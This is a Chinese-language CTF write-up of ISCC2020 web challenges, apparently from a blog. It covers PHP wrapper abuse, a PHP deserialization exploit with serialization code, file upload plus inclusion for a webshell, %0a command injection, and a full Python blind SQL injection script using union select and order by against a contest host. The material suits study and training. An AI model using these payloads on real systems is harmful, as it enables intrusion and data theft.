ISCC2020-Web题解
前言:
Where is file?-1
——php偽協議
考察的是php偽協議,可以使用data協議來進行讀取
阿森的愛情-1
——簽到
掃描一下出一個文件,里面就有flagPhp is the best language
——PHP反序列化、to_string魔法函數的調用
<?php @error_reporting(1); include 'flag.php'; class baby {public $file;function __toString() {if(isset($this->file)){$filename = "./{$this->file}";if (base64_encode(file_get_contents($filename))){return base64_encode(file_get_contents($filename));}}} } if (isset($_GET['data'])) {$data = $_GET['data'];$good = unserialize($data);echo $good; } else {$url='./index.php'; }$html=''; if(isset($_POST['test'])){$s = $_POST['test'];$html.="<p>謝謝參與!</p>"; } ?>代碼很簡單,就是__toString的調用
<?php class baby {public $file;function __toString() {if(isset($this->file)){$filename = "./{$this->file}";if (base64_encode(file_get_contents($filename))){return base64_encode(file_get_contents($filename));}}} }$a = new baby(); $a->file = 'flag.php'; $a->__tostring(); echo serialize($a);
解碼即可
ISCC成績查詢-2
——繞過token、時間盲注
一開始是一個登陸框,SQL萬能密碼進不去,抓包發現有token驗證,需要進行爆破,雖然沒有成功,但在測試的時候發現有這個頁面
在這個地方卡了很長時間,還是比較菜,因為這個頁面當提交時只回顯一個頁面,知道是時間盲注,當fuzz就很困難
然后做不出來郁悶就去做BUU的一道SQL注入,發現跟這題類似,只不過是過濾了空格,然后嘗試,發現
應答的時間恰好就是5秒,找到測試語句了就寫腳本
跑腳本就行了
ISCC成績查詢_3
——PHP可逆加密解密算法
這個題沒有上一個題的flag的提示很難做出來的
查看頁面源代碼,發現
百度查到了是PHP可逆加密解密算法
然后直接找到了解密算法
PHP可逆加密解密算法
上一題的flag是flag{sixsixsix},所以這題的key值即為666,解密即可得出
What can images do
——文件上傳+文件包含
上傳進去,然后發現url中含有filename參數文件包含一下
連接成功,讀取flag就行了,題被攪屎了,之前的木馬也被刪了,某大佬將權限給改了。
阿森的愛情-2
——括號被過濾、order by注入
這個題雖然是原題,但感覺能學到知識,很有趣,考察的是order by 排序
拿到題先fuzz一下,看看都過濾了哪些
過濾了括號,所以聯合查詢、盲注不可行了,只能用常規的盲注,查了下發現有到類似的題目
CTF中過濾括號的盲注題小記
可以用union select+order by進行注入,原理就看下博主寫的很詳細的,在burp中先進行測試,最后發現注入點是在username那里,可以先用burp進行爆破然后觀察出規律,然后再寫腳本
腳本如下:
import requestsurl = "http://101.201.126.95:7006/"alist = "0123456789abcdef"payload = "" payload1 = "admin' union select 1,0,'" payload2 = "'order by 3#" datas = {"username":"","password":"123","submit":'enter'} tmp_OK = "" tmp = "" for j in range(0,32):for i in alist:payload = payload1+tmp_OK+i+payload2datas["username"] = payload# print (datas)r = requests.post(url=url,data=datas)# print (r.text)if "admin" in r.text:tmp_OK += tmpprint (tmp_OK)breakif ("0" in r.text) and (i == "f"):tmp_OK += iprint (tmp_OK)tmp = i#username=admin' union select 1,0,'c' order by 3#&password=123&submit=enter神秘組織的郵件-2
——腳本練習
點擊提交數字會發生改變,因為這次的賽制有一個關聯,通過上一題
得出的flag是加鍵乘除,又提示要聯系起來,就想起了之前做有一道秋名山車神那道題,只不過這個題需要將運算符手動添加,腳本如下:
腳本思路也很簡單,就是利用BeautifulSoup解析出字符串,然后將字符串去除空格再將字符串列表轉換為數字列表,提交參數進行運算即可(一開始url沒有加上result.php,浪費了好長時間)
如果一開始沒跑出來多跑幾次就出來了,訪問一下
然后就是一臉懵逼,我一直以為還有上面的文件,就掃描各種,結果就這:
直接訪問??????????????? 我一萬個問號,這我寫腳本的意義何在。。。。
我按照正常的來試試吧
出不來。。。。。。。。,實在無語,就這吧,當是鍛煉鍛煉腳本能力。
阿帥的愛情
——命令執行
過濾了;,可以使用%0a來代替,測試一下就發現出來了
總結
以上是生活随笔為你收集整理的ISCC2020-Web题解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Python爬虫之旅_(数据解析)_正则
- 下一篇: BUU_刷题之旅(One)